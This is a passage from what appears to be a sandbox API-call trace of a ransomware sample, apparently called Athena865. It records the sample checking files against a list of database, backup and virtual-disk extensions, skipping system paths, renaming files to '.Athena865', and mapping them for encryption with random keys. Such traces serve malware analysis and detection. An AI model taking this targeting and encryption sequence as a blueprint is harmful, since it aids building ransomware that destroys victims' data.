(lpString1="O.DLL", lpString2="accdc") returned 1 [0115.899] lstrlenW (lpString="accde") returned 5 [0115.899] lstrcmpiW (lpString1="O.DLL", lpString2="accde") returned 1 [0115.899] lstrlenW (lpString="accdr") returned 5 [0115.899] lstrcmpiW (lpString1="O.DLL", lpString2="accdr") returned 1 [0115.899] lstrlenW (lpString="accdt") returned 5 [0115.899] lstrcmpiW (lpString1="O.DLL", lpString2="accdt") returned 1 [0115.899] lstrlenW (lpString="accdw") returned 5 [0115.899] lstrcmpiW (lpString1="O.DLL", lpString2="accdw") returned 1 [0115.899] lstrlenW (lpString="accft") returned 5 [0115.899] lstrcmpiW (lpString1="O.DLL", lpString2="accft") returned 1 [0115.899] lstrlenW (lpString="adb") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.899] lstrlenW (lpString="adb") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.899] lstrlenW (lpString="ade") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.899] lstrlenW (lpString="adf") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.899] lstrlenW (lpString="adn") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.899] lstrlenW (lpString="adp") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.899] lstrlenW (lpString="alf") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.899] lstrlenW (lpString="ask") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.899] lstrlenW (lpString="btr") returned 3 [0115.899] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.899] lstrlenW (lpString="cat") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.900] lstrlenW (lpString="cdb") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.900] lstrlenW (lpString="ckp") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.900] lstrlenW (lpString="cma") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.900] lstrlenW (lpString="cpd") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.900] lstrlenW (lpString="dacpac") returned 6 [0115.900] lstrcmpiW (lpString1="IO.DLL", lpString2="dacpac") returned 1 [0115.900] lstrlenW (lpString="dad") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.900] lstrlenW (lpString="dadiagrams") returned 10 [0115.900] lstrcmpiW (lpString1="BIBLIO.DLL", lpString2="dadiagrams") returned -1 [0115.900] lstrlenW (lpString="daschema") returned 8 [0115.900] lstrcmpiW (lpString1="BLIO.DLL", lpString2="daschema") returned -1 [0115.900] lstrlenW (lpString="db-journal") returned 10 [0115.900] lstrcmpiW (lpString1="BIBLIO.DLL", lpString2="db-journal") returned -1 [0115.900] lstrlenW (lpString="db-shm") returned 6 [0115.900] lstrcmpiW (lpString1="IO.DLL", lpString2="db-shm") returned 1 [0115.900] lstrlenW (lpString="db-wal") returned 6 [0115.900] lstrcmpiW (lpString1="IO.DLL", lpString2="db-wal") returned 1 [0115.900] lstrlenW (lpString="dbc") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.900] lstrlenW (lpString="dbs") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.900] lstrlenW (lpString="dbt") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.900] lstrlenW (lpString="dbv") returned 3 [0115.900] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.901] lstrlenW (lpString="dbx") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.901] lstrlenW (lpString="dcb") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.901] lstrlenW (lpString="dct") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0115.901] lstrlenW (lpString="dcx") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0115.901] lstrlenW (lpString="ddl") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0115.901] lstrlenW (lpString="dlis") returned 4 [0115.901] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0115.901] lstrlenW (lpString="dp1") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0115.901] lstrlenW (lpString="dqy") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0115.901] lstrlenW (lpString="dsk") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0115.901] lstrlenW (lpString="dsn") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0115.901] lstrlenW (lpString="dtsx") returned 4 [0115.901] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0115.901] lstrlenW (lpString="dxl") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0115.901] lstrlenW (lpString="eco") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0115.901] lstrlenW (lpString="ecx") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0115.901] lstrlenW (lpString="edb") returned 3 [0115.901] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0115.901] lstrlenW (lpString="epim") returned 4 [0115.901] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0115.902] lstrlenW (lpString="fcd") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0115.902] lstrlenW (lpString="fdb") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0115.902] lstrlenW (lpString="fic") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0115.902] lstrlenW (lpString="flexolibrary") returned 12 [0115.902] lstrlenW (lpString="fm5") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0115.902] lstrlenW (lpString="fmp") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0115.902] lstrlenW (lpString="fmp12") returned 5 [0115.902] lstrcmpiW (lpString1="O.DLL", lpString2="fmp12") returned 1 [0115.902] lstrlenW (lpString="fmpsl") returned 5 [0115.902] lstrcmpiW (lpString1="O.DLL", lpString2="fmpsl") returned 1 [0115.902] lstrlenW (lpString="fol") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0115.902] lstrlenW (lpString="fp3") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0115.902] lstrlenW (lpString="fp4") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0115.902] lstrlenW (lpString="fp5") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0115.902] lstrlenW (lpString="fp7") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0115.902] lstrlenW (lpString="fpt") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0115.902] lstrlenW (lpString="frm") returned 3 [0115.902] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0115.902] lstrlenW (lpString="gdb") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.903] lstrlenW (lpString="gdb") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.903] lstrlenW (lpString="grdb") returned 4 [0115.903] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0115.903] lstrlenW (lpString="gwi") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0115.903] lstrlenW (lpString="hdb") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0115.903] lstrlenW (lpString="his") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0115.903] lstrlenW (lpString="ib") returned 2 [0115.903] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0115.903] lstrlenW (lpString="idb") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0115.903] lstrlenW (lpString="ihx") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0115.903] lstrlenW (lpString="itdb") returned 4 [0115.903] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0115.903] lstrlenW (lpString="itw") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0115.903] lstrlenW (lpString="jet") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0115.903] lstrlenW (lpString="jtx") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0115.903] lstrlenW (lpString="kdb") returned 3 [0115.903] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0115.903] lstrlenW (lpString="kexi") returned 4 [0115.903] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0115.903] lstrlenW (lpString="kexic") returned 5 [0115.903] lstrcmpiW (lpString1="O.DLL", lpString2="kexic") returned 1 [0115.904] lstrlenW (lpString="kexis") returned 5 [0115.904] lstrcmpiW (lpString1="O.DLL", lpString2="kexis") returned 1 [0115.904] lstrlenW (lpString="lgc") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0115.904] lstrlenW (lpString="lwx") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0115.904] lstrlenW (lpString="maf") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0115.904] lstrlenW (lpString="maq") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0115.904] lstrlenW (lpString="mar") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0115.904] lstrlenW (lpString="marshal") returned 7 [0115.904] lstrcmpiW (lpString1="LIO.DLL", lpString2="marshal") returned -1 [0115.904] lstrlenW (lpString="mas") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0115.904] lstrlenW (lpString="mav") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0115.904] lstrlenW (lpString="maw") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0115.904] lstrlenW (lpString="mdbhtml") returned 7 [0115.904] lstrcmpiW (lpString1="LIO.DLL", lpString2="mdbhtml") returned -1 [0115.904] lstrlenW (lpString="mdn") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0115.904] lstrlenW (lpString="mdt") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0115.904] lstrlenW (lpString="mfd") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0115.904] lstrlenW (lpString="mpd") returned 3 [0115.904] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0115.904] lstrlenW (lpString="mrg") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0115.905] lstrlenW (lpString="mud") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0115.905] lstrlenW (lpString="mwb") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0115.905] lstrlenW (lpString="myd") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0115.905] lstrlenW (lpString="ndf") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0115.905] lstrlenW (lpString="nnt") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0115.905] lstrlenW (lpString="nrmlib") returned 6 [0115.905] lstrcmpiW (lpString1="IO.DLL", lpString2="nrmlib") returned -1 [0115.905] lstrlenW (lpString="ns2") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0115.905] lstrlenW (lpString="ns3") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0115.905] lstrlenW (lpString="ns4") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0115.905] lstrlenW (lpString="nsf") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0115.905] lstrlenW (lpString="nv") returned 2 [0115.905] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0115.905] lstrlenW (lpString="nv2") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0115.905] lstrlenW (lpString="nwdb") returned 4 [0115.905] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0115.905] lstrlenW (lpString="nyf") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0115.905] lstrlenW (lpString="odb") returned 3 [0115.905] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.905] lstrlenW (lpString="odb") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.906] lstrlenW (lpString="oqy") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0115.906] lstrlenW (lpString="ora") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0115.906] lstrlenW (lpString="orx") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0115.906] lstrlenW (lpString="owc") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0115.906] lstrlenW (lpString="p96") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0115.906] lstrlenW (lpString="p97") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0115.906] lstrlenW (lpString="pan") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0115.906] lstrlenW (lpString="pdb") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0115.906] lstrlenW (lpString="pdm") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0115.906] lstrlenW (lpString="pnz") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0115.906] lstrlenW (lpString="qry") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0115.906] lstrlenW (lpString="qvd") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0115.906] lstrlenW (lpString="rbf") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0115.906] lstrlenW (lpString="rctd") returned 4 [0115.906] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0115.906] lstrlenW (lpString="rod") returned 3 [0115.906] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0115.907] lstrlenW (lpString="rodx") returned 4 [0115.907] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0115.907] lstrlenW (lpString="rpd") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0115.907] lstrlenW (lpString="rsd") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0115.907] lstrlenW (lpString="sas7bdat") returned 8 [0115.907] lstrcmpiW (lpString1="BLIO.DLL", lpString2="sas7bdat") returned -1 [0115.907] lstrlenW (lpString="sbf") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0115.907] lstrlenW (lpString="scx") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0115.907] lstrlenW (lpString="sdb") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0115.907] lstrlenW (lpString="sdc") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0115.907] lstrlenW (lpString="sdf") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0115.907] lstrlenW (lpString="sis") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0115.907] lstrlenW (lpString="spq") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0115.907] lstrlenW (lpString="te") returned 2 [0115.907] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0115.907] lstrlenW (lpString="teacher") returned 7 [0115.907] lstrcmpiW (lpString1="LIO.DLL", lpString2="teacher") returned -1 [0115.907] lstrlenW (lpString="tmd") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0115.907] lstrlenW (lpString="tps") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0115.907] lstrlenW (lpString="trc") returned 3 [0115.907] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.908] lstrlenW (lpString="trc") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.908] lstrlenW (lpString="trm") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0115.908] lstrlenW (lpString="udb") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0115.908] lstrlenW (lpString="udl") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0115.908] lstrlenW (lpString="usr") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0115.908] lstrlenW (lpString="v12") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0115.908] lstrlenW (lpString="vis") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0115.908] lstrlenW (lpString="vpd") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0115.908] lstrlenW (lpString="vvv") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0115.908] lstrlenW (lpString="wdb") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0115.908] lstrlenW (lpString="wmdb") returned 4 [0115.908] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0115.908] lstrlenW (lpString="wrk") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0115.908] lstrlenW (lpString="xdb") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0115.908] lstrlenW (lpString="xld") returned 3 [0115.908] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0115.908] lstrlenW (lpString="xmlff") returned 5 [0115.908] lstrcmpiW (lpString1="O.DLL", lpString2="xmlff") returned -1 [0115.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.Athena865") returned 78 [0115.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.athena865"), dwFlags=0x1) returned 1 [0115.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0115.915] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=123776) returned 1 [0115.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0115.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519c40 [0115.916] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0115.917] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.917] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0115.917] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e680, lpName=0x0) returned 0x17c [0115.919] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e680) returned 0x100000 [0115.928] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0115.929] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.929] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0115.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.930] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0115.931] CloseHandle (hObject=0x17c) returned 1 [0115.931] CloseHandle (hObject=0x154) returned 1 [0115.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0115.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0115.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.932] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".") returned 1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="..") returned 1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="windows") returned -1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="bootmgr") returned 1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="temp") returned -1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="pagefile.sys") returned -1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="boot") returned 1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="ids.txt") returned -1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="ntuser.dat") returned -1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="perflogs") returned -1 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2="MSBuild") returned -1 [0115.932] lstrlenW (lpString="FDATE.DLL") returned 9 [0115.932] lstrcpyW (in: lpString1=0x241e8ba, lpString2="FDATE.DLL" | out: lpString1="FDATE.DLL") returned="FDATE.DLL" [0115.932] lstrlenW (lpString="FDATE.DLL") returned 9 [0115.932] lstrlenW (lpString="Athena865") returned 9 [0115.932] lstrlenW (lpString=".dll") returned 4 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".dll") returned 1 [0115.932] lstrlenW (lpString=".lnk") returned 4 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".lnk") returned 1 [0115.932] lstrlenW (lpString=".ini") returned 4 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".ini") returned 1 [0115.932] lstrlenW (lpString=".sys") returned 4 [0115.932] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".sys") returned 1 [0115.932] lstrlenW (lpString="FDATE.DLL") returned 9 [0115.933] lstrlenW (lpString="bak") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.933] lstrlenW (lpString="ba_") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.933] lstrlenW (lpString="dbb") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.933] lstrlenW (lpString="vmdk") returned 4 [0115.933] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.933] lstrlenW (lpString="rar") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.933] lstrlenW (lpString="zip") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.933] lstrlenW (lpString="tgz") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.933] lstrlenW (lpString="vbox") returned 4 [0115.933] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.933] lstrlenW (lpString="vdi") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.933] lstrlenW (lpString="vhd") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.933] lstrlenW (lpString="vhdx") returned 4 [0115.933] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.933] lstrlenW (lpString="avhd") returned 4 [0115.933] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.933] lstrlenW (lpString="db") returned 2 [0115.933] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.933] lstrlenW (lpString="db2") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.933] lstrlenW (lpString="db3") returned 3 [0115.933] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.933] lstrlenW (lpString="dbf") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.934] lstrlenW (lpString="mdf") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.934] lstrlenW (lpString="mdb") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.934] lstrlenW (lpString="sql") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0115.934] lstrlenW (lpString="sqlite") returned 6 [0115.934] lstrcmpiW (lpString1="TE.DLL", lpString2="sqlite") returned 1 [0115.934] lstrlenW (lpString="sqlite3") returned 7 [0115.934] lstrcmpiW (lpString1="ATE.DLL", lpString2="sqlite3") returned -1 [0115.934] lstrlenW (lpString="sqlitedb") returned 8 [0115.934] lstrcmpiW 